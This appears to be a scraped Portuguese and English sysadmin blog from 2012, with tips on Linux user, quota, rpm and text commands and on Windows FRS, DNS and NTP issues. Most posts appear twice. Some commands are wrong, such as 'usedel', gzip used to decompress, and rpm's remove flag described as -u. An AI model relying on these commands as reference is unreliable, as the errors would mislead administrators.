Description:
The File Replication Service has detected that the replica root path has changed from "c:\windows\sysvol\domain" to "c:\windows\sysvol\domain". If this is an intentional move then a file with the name NTFRS_CMD_FILE_MOVE_ROOT needs to be created under the new root path.
This was detected for the following replica set:
"DOMAIN SYSTEM VOLUME (SYSVOL SHARE)"
Verificando no Debug %Windir%\debug arquivo NtFrs_0003.log:
ERROR Command file not found at the new root c:\windows\sysvol\domain\NTFRS_CMD_FILE_MOVE_ROOT. Can not move root.
Para resolver este problema bastou criar um arquivo "NTFRS_CMD_FILE_MOVE_ROOT" no caminho solicitado: c:\windows\sysvol\domain sem conteúdo, após isso reiniciar o serviço de replicação, e o problema foi resolvido.
sexta-feira, abril 06, 2012
Network – Configuration Files
/etc/hosts : Mapping between IP address and names and is used for name resolution.
Ex: 10.10.8.163 slackware.mydomain slackware
---
/etc/nsswitch.conf: System Databases and Name Service Switch configuration file .Use by various system library. /etc/nsswitch.conf fle supersedes /etc/host.conf
Ex:
root@slack:~# cat /etc/nsswitch.conf
#
# /etc/nsswitch.conf
#
# An example Name Service Switch config file. This file should be
# sorted with the most-used services at the beginning.
#
# The entry '[NOTFOUND=return]' means that the search for an
# entry should stop if the search in the previous entry turned
# up nothing. Note that if the search failed due to some other reason
# (like no NIS server responding) then the search continues with the
# next entry.
#
# Legal entries are:
#
# nisplus or nis+ Use NIS+ (NIS version 3)
# nis or yp Use NIS (NIS version 2), also called YP
# dns Use DNS (Domain Name Service)
# files Use the local files
# [NOTFOUND=return] Stop searching if not found so far
#
# passwd: files nis
# shadow: files nis
# group: files nis
passwd: compat
group: compat
hosts: files dns
networks: files
services: files
---
/etc/host.conf : This file controls name resolution sources for pre-glibc2 system.
Ex:
root@slack:~# cat /etc/host.conf
order hosts, bind
multi on
---
/etc/resolv.conf: Resolver configuration file. Provide access to DNS.
Ex:
search mydomain
nameserver 10.10.1.2 # DNS Server
nameserver 10.10.1.3 # DNS Server
--
/etc/networks: Network name information.
Ex:
root@slack:~# cat /etc/networks
#
# networks This file describes a number of netname-to-address
# mappings for the TCP/IP subsystem. It is mostly
# used at boot time, when no name servers are running.
#
loopback 127.0.0.0
localnet 127.0.0.0
mylan 10.10.0.0
--
Ex: 10.10.8.163 slackware.mydomain slackware
---
/etc/nsswitch.conf: System Databases and Name Service Switch configuration file .Use by various system library. /etc/nsswitch.conf fle supersedes /etc/host.conf
Ex:
root@slack:~# cat /etc/nsswitch.conf
#
# /etc/nsswitch.conf
#
# An example Name Service Switch config file. This file should be
# sorted with the most-used services at the beginning.
#
# The entry '[NOTFOUND=return]' means that the search for an
# entry should stop if the search in the previous entry turned
# up nothing. Note that if the search failed due to some other reason
# (like no NIS server responding) then the search continues with the
# next entry.
#
# Legal entries are:
#
# nisplus or nis+ Use NIS+ (NIS version 3)
# nis or yp Use NIS (NIS version 2), also called YP
# dns Use DNS (Domain Name Service)
# files Use the local files
# [NOTFOUND=return] Stop searching if not found so far
#
# passwd: files nis
# shadow: files nis
# group: files nis
passwd: compat
group: compat
hosts: files dns
networks: files
services: files
---
/etc/host.conf : This file controls name resolution sources for pre-glibc2 system.
Ex:
root@slack:~# cat /etc/host.conf
order hosts, bind
multi on
---
/etc/resolv.conf: Resolver configuration file. Provide access to DNS.
Ex:
search mydomain
nameserver 10.10.1.2 # DNS Server
nameserver 10.10.1.3 # DNS Server
--
/etc/networks: Network name information.
Ex:
root@slack:~# cat /etc/networks
#
# networks This file describes a number of netname-to-address
# mappings for the TCP/IP subsystem. It is mostly
# used at boot time, when no name servers are running.
#
loopback 127.0.0.0
localnet 127.0.0.0
mylan 10.10.0.0
--
sexta-feira, março 16, 2012
Impedir usuários de efetuarem logon - Linux.
Para impedir usuários efetuarem logon em um sistema Linux basta criar o arquivo nologin em \etc, assim somente o usuário root poderá efetuar login.
Ex:
root@debian:~# touch /etc/nologin
root@debian:~# login
debian login: maykon
Login incorrect
debian login:
------------------
Não obetive sucesso ao tenta efetuar login com o usuário maykon, só depois de remover o arquivo nologin que foi possível o acesso.
root@debian:~# rm /etc/nologin
root@debian:~# login
debian login: maykon
Password:
Last login: Fri Mar 16 13:33:41 BRT 2012 on pts/0
Linux debian 2.6.32-5-amd64 #1 SMP Mon Jan 16 16:22:28 UTC 2012 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
maykon@debian:~$
Ex:
root@debian:~# touch /etc/nologin
root@debian:~# login
debian login: maykon
Login incorrect
debian login:
------------------
Não obetive sucesso ao tenta efetuar login com o usuário maykon, só depois de remover o arquivo nologin que foi possível o acesso.
root@debian:~# rm /etc/nologin
root@debian:~# login
debian login: maykon
Password:
Last login: Fri Mar 16 13:33:41 BRT 2012 on pts/0
Linux debian 2.6.32-5-amd64 #1 SMP Mon Jan 16 16:22:28 UTC 2012 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
maykon@debian:~$
terça-feira, março 13, 2012
Command chage
chage - change user password expiry information.
Information root.
#chage -l root
-M option maxdays is the maximum number of days during which a password is valid, 0 user maykon will be required to change password.
#chage -M 7 maykon
-W set the number of days of warning before a password change is required.
#chage -W 7 maykon
Ex:
root@slack:~# login
slack login: maykon
Password:
Linux 2.6.29.6-smp.
Last login: Tue Mar 13 09:36:16 -0300 2012 on pts/0.
Your password will expire in 7 days.
No mail.
maykon@slack:~$
-E set a date on which the user's account will no longer be accessible, this option is the number of days since January 1, 1970.
#chage -E 8 maykon
Account Expires: Jan 09, 1970 ;-).
Information root.
#chage -l root
-M option maxdays is the maximum number of days during which a password is valid, 0 user maykon will be required to change password.
#chage -M 7 maykon
-W set the number of days of warning before a password change is required.
#chage -W 7 maykon
Ex:
root@slack:~# login
slack login: maykon
Password:
Linux 2.6.29.6-smp.
Last login: Tue Mar 13 09:36:16 -0300 2012 on pts/0.
Your password will expire in 7 days.
No mail.
maykon@slack:~$
-E set a date on which the user's account will no longer be accessible, this option is the number of days since January 1, 1970.
#chage -E 8 maykon
Account Expires: Jan 09, 1970 ;-).
sexta-feira, março 09, 2012
Manage User and Group
Create de account maykon, -m create home directory, -s shell
#useradd -m maykon -s /bin/bash
Modify user account, -L Lock password, -U Unlock.
#usermod -L maykon
Delete account, -r delete home directory.
#usedel -r maykon
Add group to the system.
# groupadd centipede
Modify group, change name centipede for centipede2
#groupmod -n centipede2 centipede
Delete group
#groupdel centipede2
Set password
#passwd user
Command is used to administer groups, add root for group centipede
#gpasswd -a root centipede
User\Group account and Password Files:
#/etc/passwd – Username, Password (hashed), User ID, Group ID, Full Name, Home Directory, Default Shell.
#/etc/group – Group Name, Group Password, Group ID, Group Member List.
#/etc/shadow – Shadow is a file which contains the password information for the system's.
#/etc/gshadow - file is readable only by the root user and contains an encrypted password for each group.
#useradd -m maykon -s /bin/bash
Modify user account, -L Lock password, -U Unlock.
#usermod -L maykon
Delete account, -r delete home directory.
#usedel -r maykon
Add group to the system.
# groupadd centipede
Modify group, change name centipede for centipede2
#groupmod -n centipede2 centipede
Delete group
#groupdel centipede2
Set password
#passwd user
Command is used to administer groups, add root for group centipede
#gpasswd -a root centipede
User\Group account and Password Files:
#/etc/passwd – Username, Password (hashed), User ID, Group ID, Full Name, Home Directory, Default Shell.
#/etc/group – Group Name, Group Password, Group ID, Group Member List.
#/etc/shadow – Shadow is a file which contains the password information for the system's.
#/etc/gshadow - file is readable only by the root user and contains an encrypted password for each group.
terça-feira, março 06, 2012
LPI Level 1 Exame 101
Hoje realizei o exame 101, foram 60 questões (pontuação 680), e consegui passar, agora é só estudar para a 102 que pretendo realizar em abril.
segunda-feira, fevereiro 27, 2012
Erro Tomcat: java.lang.OutOfMemoryError: PermGen space
sábado, fevereiro 25, 2012
Alteração JVM – tomcat
Quando instalei o java (necessário para utilização do tomcat) instalei apenas o java JRE, após algumas pesquisa constatei que no caso de servidores não é recomendado utilizar a JRE client, e sim instalar o JDK e utilizar a jvm server, abaixo os passos necessário para efetuar a mudança.
sexta-feira, fevereiro 24, 2012
Sincronização de Horário NTP externo - Windows
O horário em uma rede de computadores Windows é mantido pelo PDC do domínio, quando o mesmo não é sincronizado com um NTP externo é utilizado o horário do computador local (BIOS).
Efetuando a sincronização com um NTP externo no Windows 2008 R2.
Acessar o PDC é parar o serviço "Windows Time":C:\>net stop w32time
Configurando com o NTP externo a.ntp.br, b.ntp.br, c.ntp.br:
C:\>w32tm /config /manualpeerlist:a.ntp.br,b.ntp.br,c.ntp.br,0x8, /syncfromflags:manual
Configurando com o NTP externo a.ntp.br, b.ntp.br, c.ntp.br:
C:\>w32tm /config /manualpeerlist:a.ntp.br,b.ntp.br,c.ntp.br,0x8, /syncfromflags:manual
Iniciando o serviço:
C:\>net start w32time
---
Comandos Interessantes:
Verificando a configuração:
C:\>w32tm /query /configuration
Informar o horário da última sincronização.
C:\>w32tm /query /status
Define que o computador é uma fonte confiável de horário.
C:\>w32tm /config /reliable:yes
Cancelar o registro do serviço.
C:\>w32tm /unregister
Registra o serviço.
C:\>w32tm /register
As configurações do W32Time ficam armanezadas na chave de registro abaixo:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters
Verificando o log:
quinta-feira, fevereiro 23, 2012
Erro HA agent - Cluster Vmware
Erro:
Host esxi.mydomain does not have the following network used by other host communication: IP. Consider using HA advanced option das.allowNetwork to control network usage.
Solução:
Editar as propriedades do Cluster, VMware HA - Advanced Options.
Adicionar a opção
Option: das.allowNetwork Valeu: MyNetwork
Solução:
Editar as propriedades do Cluster, VMware HA - Advanced Options.
Adicionar a opção
Option: das.allowNetwork Valeu: MyNetwork
O valor deve ser válido em todos os host do Cluster.
Mais informações:
http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1006541
domingo, fevereiro 19, 2012
Quotas
Cinco tipos de quotas:
Per-User hard limit: Quantidade máxima que um usuário pode utilizar, após atingir o limite não será possível gravar mais arquivos no disco.
Per-User soft limit: Ao utilizar soft limit ao atingir o máximo permitido o usuário será notificado, mas será possível gravar arquivos no disco.
Per-Group hard limit: Mesmo princípio do Per-user, mas neste caso é aplicado ao grupo.
Per-Group soft limit: Mesmo princípio, mas aplicado ao grupo.
Grace period: Aplicado ao soft limit, quando o soft limit é atingido o mesmo entra no “grace period” período o qual o usuário\grupo poderá inscrever no disco, após o fim do “grace period” o mesmo torna-se um hard limite.
Antes de usar quotas é necessário habilitar para isso basta editar o arquivo /etc/fstab, adicionando os parâmetros usrquota e grpquota, habilitei a quota na partição sda1 montada em / conforme abaixo:
root@slack:~# cat /etc/fstab
/dev/sda1 / ext4 defaults,usrquota,grpquota 1 1
/dev/sdb1 /tmp ext4 defaults 1 1
#/dev/cdrom /mnt/cdrom auto noauto,owner,ro 0 0
/dev/fd0 /mnt/floppy auto noauto,owner 0 0
devpts /dev/pts devpts gid=5,mode=620 0 0
proc /proc proc defaults 0 0
tmpfs /dev/shm tmpfs defaults 0 0
Criar dois arquivos que serão à base de dados da quota:
#touch /home/quota.user /home/quota.group
#chmod 600 /home/quota.user /home/quota.group
Inicializar as bases
#quotacheck –avug
Habilitando as quotas:
#quotaon -a
Comandos para o gerenciamento de quotas:
Verificando as quotas do usuário lord:
root@slack:~# quota -uv lord
Disk quotas for user lord (uid 1000):
Filesystem blocks quota limit grace files quota limit grace
/dev/root 3964* 0 1 19* 0 1
Desabilita as quotas:
root@slack:~#quotaoff -av
Modificando a quota do usuário lord (utiliza-se a opção –g para grupos):
root@slack:~# edquota -u lord
Informa o status das quotas para /
root@slack:~# repquota -v /
Per-User hard limit: Quantidade máxima que um usuário pode utilizar, após atingir o limite não será possível gravar mais arquivos no disco.
Per-User soft limit: Ao utilizar soft limit ao atingir o máximo permitido o usuário será notificado, mas será possível gravar arquivos no disco.
Per-Group hard limit: Mesmo princípio do Per-user, mas neste caso é aplicado ao grupo.
Per-Group soft limit: Mesmo princípio, mas aplicado ao grupo.
Grace period: Aplicado ao soft limit, quando o soft limit é atingido o mesmo entra no “grace period” período o qual o usuário\grupo poderá inscrever no disco, após o fim do “grace period” o mesmo torna-se um hard limite.
Antes de usar quotas é necessário habilitar para isso basta editar o arquivo /etc/fstab, adicionando os parâmetros usrquota e grpquota, habilitei a quota na partição sda1 montada em / conforme abaixo:
root@slack:~# cat /etc/fstab
/dev/sda1 / ext4 defaults,usrquota,grpquota 1 1
/dev/sdb1 /tmp ext4 defaults 1 1
#/dev/cdrom /mnt/cdrom auto noauto,owner,ro 0 0
/dev/fd0 /mnt/floppy auto noauto,owner 0 0
devpts /dev/pts devpts gid=5,mode=620 0 0
proc /proc proc defaults 0 0
tmpfs /dev/shm tmpfs defaults 0 0
Criar dois arquivos que serão à base de dados da quota:
#touch /home/quota.user /home/quota.group
#chmod 600 /home/quota.user /home/quota.group
Inicializar as bases
#quotacheck –avug
Habilitando as quotas:
#quotaon -a
Comandos para o gerenciamento de quotas:
Verificando as quotas do usuário lord:
root@slack:~# quota -uv lord
Disk quotas for user lord (uid 1000):
Filesystem blocks quota limit grace files quota limit grace
/dev/root 3964* 0 1 19* 0 1
Desabilita as quotas:
root@slack:~#quotaoff -av
Modificando a quota do usuário lord (utiliza-se a opção –g para grupos):
root@slack:~# edquota -u lord
Informa o status das quotas para /
root@slack:~# repquota -v /
RPM
Red Hat Package Manager é um dos mais populares gerenciadores de pacotes e está incluso em diversas distribuições, alguns exemplos e utilização:
Para instalar um pacote utiliza-se a opção –i ou --install, o rpm não satisfaz as dependências.
[root@fedora opt]# rpm -i httpd-2.2.21-1.fc16.i686.rpm
error: Failed dependencies:
apr-util-ldap is needed by httpd-2.2.21-1.fc16.i686
httpd-tools = 2.2.21-1.fc16 is needed by httpd-2.2.21-1.fc16.i686
libapr-1.so.0 is needed by httpd-2.2.21-1.fc16.i686
libaprutil-1.so.0 is needed by httpd-2.2.21-1.fc16.i686
Um utilitário interessante é o yumdownloader que faz o download dos pacotes, abaixo efetuo o download do pacote apr-util-lap.
[root@fedora opt]# yumdownloader apr-util-ldap
Loaded plugins: langpacks, presto, refresh-packagekit
apr-util-ldap-1.3.12-1.fc16.i686.rpm | 16 kB 00:00
Após as dependências serem satisfeitas é possível instalar pacote.
Para remover um pacote usa a opção –u.
[root@fedora opt]# rpm -e apr-util-1.3.12-1.fc16.i686
Modo consulta –q
Lista todos os pacotes instalados no sistema.
[root@fedora opt]# rpm –qa
A opção –i traz informações sobre o pacote
[root@fedora opt]# rpm -qi lua-5.1.4-9.fc16.i686 | grep Version
Version : 5.1.4
Localização da documentação:
[root@fedora opt]# rpm -qd lua-5.1.4-9.fc16.i686
/usr/share/doc/lua-5.1.4/COPYRIGHT
/usr/share/doc/lua-5.1.4/HISTORY
/usr/share/doc/lua-5.1.4/README
/usr/share/doc/lua-5.1.4/amazon.gif
/usr/share/doc/lua-5.1.4/contents.html
/usr/share/doc/lua-5.1.4/cover.png
/usr/share/doc/lua-5.1.4/logo.gif
/usr/share/doc/lua-5.1.4/lua.css
/usr/share/doc/lua-5.1.4/lua.html
/usr/share/doc/lua-5.1.4/luac.html
/usr/share/doc/lua-5.1.4/manual.css
/usr/share/doc/lua-5.1.4/manual.html
/usr/share/doc/lua-5.1.4/readme.html
/usr/share/man/man1/lua.1.gz
/usr/share/man/man1/luac.1.gz
O rpm é uma ferramenta muito interessante, fale a pena dar uma lida.
Para instalar um pacote utiliza-se a opção –i ou --install, o rpm não satisfaz as dependências.
[root@fedora opt]# rpm -i httpd-2.2.21-1.fc16.i686.rpm
error: Failed dependencies:
apr-util-ldap is needed by httpd-2.2.21-1.fc16.i686
httpd-tools = 2.2.21-1.fc16 is needed by httpd-2.2.21-1.fc16.i686
libapr-1.so.0 is needed by httpd-2.2.21-1.fc16.i686
libaprutil-1.so.0 is needed by httpd-2.2.21-1.fc16.i686
Um utilitário interessante é o yumdownloader que faz o download dos pacotes, abaixo efetuo o download do pacote apr-util-lap.
[root@fedora opt]# yumdownloader apr-util-ldap
Loaded plugins: langpacks, presto, refresh-packagekit
apr-util-ldap-1.3.12-1.fc16.i686.rpm | 16 kB 00:00
Após as dependências serem satisfeitas é possível instalar pacote.
Para remover um pacote usa a opção –u.
[root@fedora opt]# rpm -e apr-util-1.3.12-1.fc16.i686
Modo consulta –q
Lista todos os pacotes instalados no sistema.
[root@fedora opt]# rpm –qa
A opção –i traz informações sobre o pacote
[root@fedora opt]# rpm -qi lua-5.1.4-9.fc16.i686 | grep Version
Version : 5.1.4
Localização da documentação:
[root@fedora opt]# rpm -qd lua-5.1.4-9.fc16.i686
/usr/share/doc/lua-5.1.4/COPYRIGHT
/usr/share/doc/lua-5.1.4/HISTORY
/usr/share/doc/lua-5.1.4/README
/usr/share/doc/lua-5.1.4/amazon.gif
/usr/share/doc/lua-5.1.4/contents.html
/usr/share/doc/lua-5.1.4/cover.png
/usr/share/doc/lua-5.1.4/logo.gif
/usr/share/doc/lua-5.1.4/lua.css
/usr/share/doc/lua-5.1.4/lua.html
/usr/share/doc/lua-5.1.4/luac.html
/usr/share/doc/lua-5.1.4/manual.css
/usr/share/doc/lua-5.1.4/manual.html
/usr/share/doc/lua-5.1.4/readme.html
/usr/share/man/man1/lua.1.gz
/usr/share/man/man1/luac.1.gz
O rpm é uma ferramenta muito interessante, fale a pena dar uma lida.
sexta-feira, fevereiro 17, 2012
DNS – Falha ao criar zona reversa
Ao tentar criar uma zona reversa armazenada no AD o seguinte erro era apresentando:
There was a server failure
Vou descrever melhor o cenário, tínhamos uma zona reversa para a rede 192.168.1.X como mudamos o endereçamento IP da rede efetuei a exclusão dessa zona reversa, e tentei criar uma nova zona, mas não obtive sucesso, cheguei a executar diversos procedimentos para tentar identificar o problema, mas acabei fazendo uma “gambi” para resolver essa questão. Criei uma zona não integrada ao AD, efetuei as devidas modificações tais como, adicionar o DNS secundário, desabilitar a transferência de zonas (Zonas Integradas ao AD utilizam replicação), e alterei as propriedades da Zona adicionando a opção “Armazenada no AD”, após parar e iniciar a zona o “problema” foi resolvido, e a zona foi transferida para o DNS secundário e os registros foram criados.
There was a server failure
Vou descrever melhor o cenário, tínhamos uma zona reversa para a rede 192.168.1.X como mudamos o endereçamento IP da rede efetuei a exclusão dessa zona reversa, e tentei criar uma nova zona, mas não obtive sucesso, cheguei a executar diversos procedimentos para tentar identificar o problema, mas acabei fazendo uma “gambi” para resolver essa questão. Criei uma zona não integrada ao AD, efetuei as devidas modificações tais como, adicionar o DNS secundário, desabilitar a transferência de zonas (Zonas Integradas ao AD utilizam replicação), e alterei as propriedades da Zona adicionando a opção “Armazenada no AD”, após parar e iniciar a zona o “problema” foi resolvido, e a zona foi transferida para o DNS secundário e os registros foram criados.
domingo, fevereiro 05, 2012
Slackpkg
Slackpkg é um gerenciador de pacotes para o Slackware, vamos dizer que é o apt-get do slackware, ferramenta interessante, foi desenvolvido por Brasileiros.
Para utilizar essa ferramenta basta descomentar o arquivo /etc/slackpkg/mirrors selecionando o mirror desejado, depois disso é só utilizar o man slackpkg!.
Para utilizar essa ferramenta basta descomentar o arquivo /etc/slackpkg/mirrors selecionando o mirror desejado, depois disso é só utilizar o man slackpkg!.
sábado, fevereiro 04, 2012
Lentidão acesso interface WEB PfSense
O acesso a interface WEB do PfSense 2.0 estava extremamente lenta, a causa da lentidão era a configuração do DNS (System: General Setup), pois o DNS que estava configurado não estava resolvendo nenhum nome, após configurar o DNS com servidores válidos o problema foi resolvido, e o acesso à interface WEB funcionou perfeitamente.
domingo, janeiro 29, 2012
Gerenciamento de arquivos Linux
bzip2
Compacta e descompacta arquivos:
Compacta o arquivo myfile, o mesmo fica com a extensão .bz2.
#bzip2 /root/myfile
Descompacta o arquivo myfile.bz2
#bzip2 –d myfile.bz2
cp
Copia arquivos, diretórios dispensa comentários.
#cp -a /var/log .
Copia o conteúdo do diretório log para a pasta home do usuário.
dd
Converte e copia arquivos é uma ferramenta muito poderosa, operada diretamente nos “blocos” do sistema de arquivos.
#dd if=/dev/cdrom of=/tmp/cd.img
Cria uma imagem do cdrom é grava no arquivo cd.img
file
Determina o tipo do arquivo
# file /usr/lib/coreutils/libstdbuf.so
/usr/lib/coreutils/libstdbuf.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped.
find
Procura arquivos
#find / -name “*.so”
Procura por todos os arquivos com a extensão .so
gzip\gunzip
Compacta e descompacta arquivos
Compacta myfile
#gzip myfile
Descompacta myfile
#gzip myfile.gz
mkdir
Cria diretórios.
mv
Move ou renomeia diretórios\arquivos.
#mv mydir mydir2
Renomeia o diretório mydir para mydir2
rm
Remove arquivos os diretórios
#rm -rR mail2/
Remove a pasta mail2 e todo o conteúdo.
rmdir
Remove um diretório o mesmo deve estar vazio.
touch
Altera a data de arquivos.
Compacta e descompacta arquivos:
Compacta o arquivo myfile, o mesmo fica com a extensão .bz2.
#bzip2 /root/myfile
Descompacta o arquivo myfile.bz2
#bzip2 –d myfile.bz2
cp
Copia arquivos, diretórios dispensa comentários.
#cp -a /var/log .
Copia o conteúdo do diretório log para a pasta home do usuário.
dd
Converte e copia arquivos é uma ferramenta muito poderosa, operada diretamente nos “blocos” do sistema de arquivos.
#dd if=/dev/cdrom of=/tmp/cd.img
Cria uma imagem do cdrom é grava no arquivo cd.img
file
Determina o tipo do arquivo
# file /usr/lib/coreutils/libstdbuf.so
/usr/lib/coreutils/libstdbuf.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped.
find
Procura arquivos
#find / -name “*.so”
Procura por todos os arquivos com a extensão .so
gzip\gunzip
Compacta e descompacta arquivos
Compacta myfile
#gzip myfile
Descompacta myfile
#gzip myfile.gz
mkdir
Cria diretórios.
mv
Move ou renomeia diretórios\arquivos.
#mv mydir mydir2
Renomeia o diretório mydir para mydir2
rm
Remove arquivos os diretórios
#rm -rR mail2/
Remove a pasta mail2 e todo o conteúdo.
rmdir
Remove um diretório o mesmo deve estar vazio.
touch
Altera a data de arquivos.
Manipulação de texto Linux
Sistemas Unix\Linux possuem diversas ferramentas para trabalhar com texto, criei uma pequena referência:
cat
Concatena arquivos e imprime na saída padrão.
Ex: #cat /etc/inittab > /root/myfile.txt
cut
Imprime linhas\colunas de um ou mais arquivos.
Ex: #cut -c1-2 myfile.txt
Imprimindo 1 e 2 caracter do arquivo myfile.txt.
expand
Converte “Tabs” em espaços.
Ex: #expand -t myfile.txt
fmt
Formata o texto largura especificada e remove linhas.
Ex: #fmt myfile.txt
head
Imprime as linhas iniciais de um ou mais arquivos.
Ex: #head –c 2 myfile.txt
Imprime duas linhas do arquivo myfile.txt
join
Imprime uma linha para um par de entradas, exemplificando, tenho dois arquivos:
Arquivo1:
1 aaaa
2 bbbb
Arquivo2:
1 1111
2 2222
Quando executo o comando:
#join Arquivo1 Arquivo2
Obtenho a seguinte saída:
1 aaaa 1111
2 bbbb 2222
Os arquivos devem estar em ordem, como no exemplo acima 1 – Linha 1, 2 – Linha 2.
nl
Número de linhas de um arquivo.
#nl myfile.txt
od
Efetua um ”dump” de um arquivo, aceita alguns formatos, como ASCII, Hexadecimal etc.
#od myfile.txt
paste
Concatena linhas de diversos arquivos, exemplo:
Arquivo1:
aaa
bbb
Arquivos2:
111
222
Ao executar o comando:
#paste d’.’ Arquivo1 Arquivo2
Obtenho:
aaa.111
bbb.222
pr
Converte texto para impressão
sort
Ordenha conteúdo.
#sort myfile.txt
split
Divide linhas, cria novos arquivos.
#split -2 myfile.txt split
Vai gerar N arquivos com duas linhas cada.
tac
Imprime em ordem reversa ao contrário do cat.
#tac myfiles.txt
tail
Imprime as últimas linhas de um arquivo.
tr
Usando para converter caracteres.
unexpand
Converte espaços em tabs, ao contraio do expand.
uniq
Elimina linha duplicadas.
wc
Conta o número de linhas, palavras de um arquivo.
cat
Concatena arquivos e imprime na saída padrão.
Ex: #cat /etc/inittab > /root/myfile.txt
cut
Imprime linhas\colunas de um ou mais arquivos.
Ex: #cut -c1-2 myfile.txt
Imprimindo 1 e 2 caracter do arquivo myfile.txt.
expand
Converte “Tabs” em espaços.
Ex: #expand -t myfile.txt
fmt
Formata o texto largura especificada e remove linhas.
Ex: #fmt myfile.txt
head
Imprime as linhas iniciais de um ou mais arquivos.
Ex: #head –c 2 myfile.txt
Imprime duas linhas do arquivo myfile.txt
join
Imprime uma linha para um par de entradas, exemplificando, tenho dois arquivos:
Arquivo1:
1 aaaa
2 bbbb
Arquivo2:
1 1111
2 2222
Quando executo o comando:
#join Arquivo1 Arquivo2
Obtenho a seguinte saída:
1 aaaa 1111
2 bbbb 2222
Os arquivos devem estar em ordem, como no exemplo acima 1 – Linha 1, 2 – Linha 2.
nl
Número de linhas de um arquivo.
#nl myfile.txt
od
Efetua um ”dump” de um arquivo, aceita alguns formatos, como ASCII, Hexadecimal etc.
#od myfile.txt
paste
Concatena linhas de diversos arquivos, exemplo:
Arquivo1:
aaa
bbb
Arquivos2:
111
222
Ao executar o comando:
#paste d’.’ Arquivo1 Arquivo2
Obtenho:
aaa.111
bbb.222
pr
Converte texto para impressão
sort
Ordenha conteúdo.
#sort myfile.txt
split
Divide linhas, cria novos arquivos.
#split -2 myfile.txt split
Vai gerar N arquivos com duas linhas cada.
tac
Imprime em ordem reversa ao contrário do cat.
#tac myfiles.txt
tail
Imprime as últimas linhas de um arquivo.
tr
Usando para converter caracteres.
unexpand
Converte espaços em tabs, ao contraio do expand.
uniq
Elimina linha duplicadas.
wc
Conta o número de linhas, palavras de um arquivo.
sábado, janeiro 28, 2012
Runlevels
Sistemas Linux trabalham com o conceito de Runlevels, que vai do 0 ao 6, dependo do Runlevel em execução não é possível iniciar alguns serviços como por exemplo, apache, ssh etc. Abaixo um pequeno resumo dos Runlevels.
Runlevel 0
Desliga o sistema.
Runlevel 1
Single-user mode, usado para manutenção, o acesso remoto é desabilitado neste runlevel.
Runlevel 2
Multiuser, default level Debian, modo sem X Windows ou NFS.
Runlevel 3
Multiuser, default level Slackware, modo sem X Windows, mas pode rodar “tudo”.
Runlevel 4
Multiuser.
Runlevel 5
Multiuser com GUI.
Runlevel 6
Reinicia o sistema.
---
Dependendo da distro utilizada à funcionalidade dos Runlevels muda.
É possível configurar os Runlevel editando o seguinte arquivo /etc/inittab, abaixo o runlevel default é o 3.
# Default runlevel. (Do not set to 0 or 6)
id:3:initdefault:
Para verificar o Runlevel em execução basta executar o comando Runlevel:
#runlevel
Alterar o Runlevel utiliza-se o comando init, abaixo alterando o Runlevel para 4:
#init 4
Runlevel 0
Desliga o sistema.
Runlevel 1
Single-user mode, usado para manutenção, o acesso remoto é desabilitado neste runlevel.
Runlevel 2
Multiuser, default level Debian, modo sem X Windows ou NFS.
Runlevel 3
Multiuser, default level Slackware, modo sem X Windows, mas pode rodar “tudo”.
Runlevel 4
Multiuser.
Runlevel 5
Multiuser com GUI.
Runlevel 6
Reinicia o sistema.
---
Dependendo da distro utilizada à funcionalidade dos Runlevels muda.
É possível configurar os Runlevel editando o seguinte arquivo /etc/inittab, abaixo o runlevel default é o 3.
# Default runlevel. (Do not set to 0 or 6)
id:3:initdefault:
Para verificar o Runlevel em execução basta executar o comando Runlevel:
#runlevel
Alterar o Runlevel utiliza-se o comando init, abaixo alterando o Runlevel para 4:
#init 4
quinta-feira, janeiro 26, 2012
Adicionar Driver x86 em Windows 2008 R2
Ao adicionar drivers x86 em um print server Windows 2008 R2 (só disponível x64) recebia a mensagem abaixo:
----
Please provide path to Windows media (x86 processor).
Type the path where the file is located and click OK.
----
Para resolver este problema acessei uma máquina Windows Vista x86, e especifiquei o caminho:
\Windows\System32\DriverStore\FileRepository\ntprint.inf_xxxxx e cliquei em OK e resolveu o problema.
Onde xxxxxx é aleatório.
Please provide path to Windows media (x86 processor).
Type the path where the file is located and click OK.
----
Para resolver este problema acessei uma máquina Windows Vista x86, e especifiquei o caminho:
\Windows\System32\DriverStore\FileRepository\ntprint.inf_xxxxx e cliquei em OK e resolveu o problema.
Onde xxxxxx é aleatório.
quarta-feira, janeiro 25, 2012
Conceder permissão qlikview
quinta-feira, janeiro 19, 2012
452 4.3.1 Insufficient system resources
No log do Antispam (Symantec Brightmail) utilizado constava a seguinte mensagem:
“452 4.3.1 Insufficient system resources”
O que ocorria que é o servidor de e-mail Exchange 2007 estava “rejeitando” as mensagens que o AntiSpam entregava, a causa disso foi a falta de espaço em disco do Exchange, na verdade o servidor estava com apenas 800 MB de espaço disponível, abaixo de 4 Gb de espaço disponível este erro pode ocorrer, após liberar alguns GBs de espaço o problema foi resolvido.
O que ocorria que é o servidor de e-mail Exchange 2007 estava “rejeitando” as mensagens que o AntiSpam entregava, a causa disso foi a falta de espaço em disco do Exchange, na verdade o servidor estava com apenas 800 MB de espaço disponível, abaixo de 4 Gb de espaço disponível este erro pode ocorrer, após liberar alguns GBs de espaço o problema foi resolvido.
quarta-feira, janeiro 11, 2012
PfSense publicação de Sites
Utilizo o PfSense a algum tempo, não muito, mas acho uma solução muito interessante.
Surgiu a necessidade de publicar vários sites na mesma (porta 80) e utilizando um endereço IP público apenas, caso você tenha apenas um site uma regra de NAT resolve, mas este não era minha situação.
Tenho experiência com publicações com os produtos da Microsoft, TMG e ISA (utilizo o nome público – propriedades da regra de publicação), mas com o Pfsense nunca tinha efetuando este tipo de publicação. Após algumas pesquisas encontrei um pacote que atendeu a minha necessidade, o pacote é o “Varnish “.
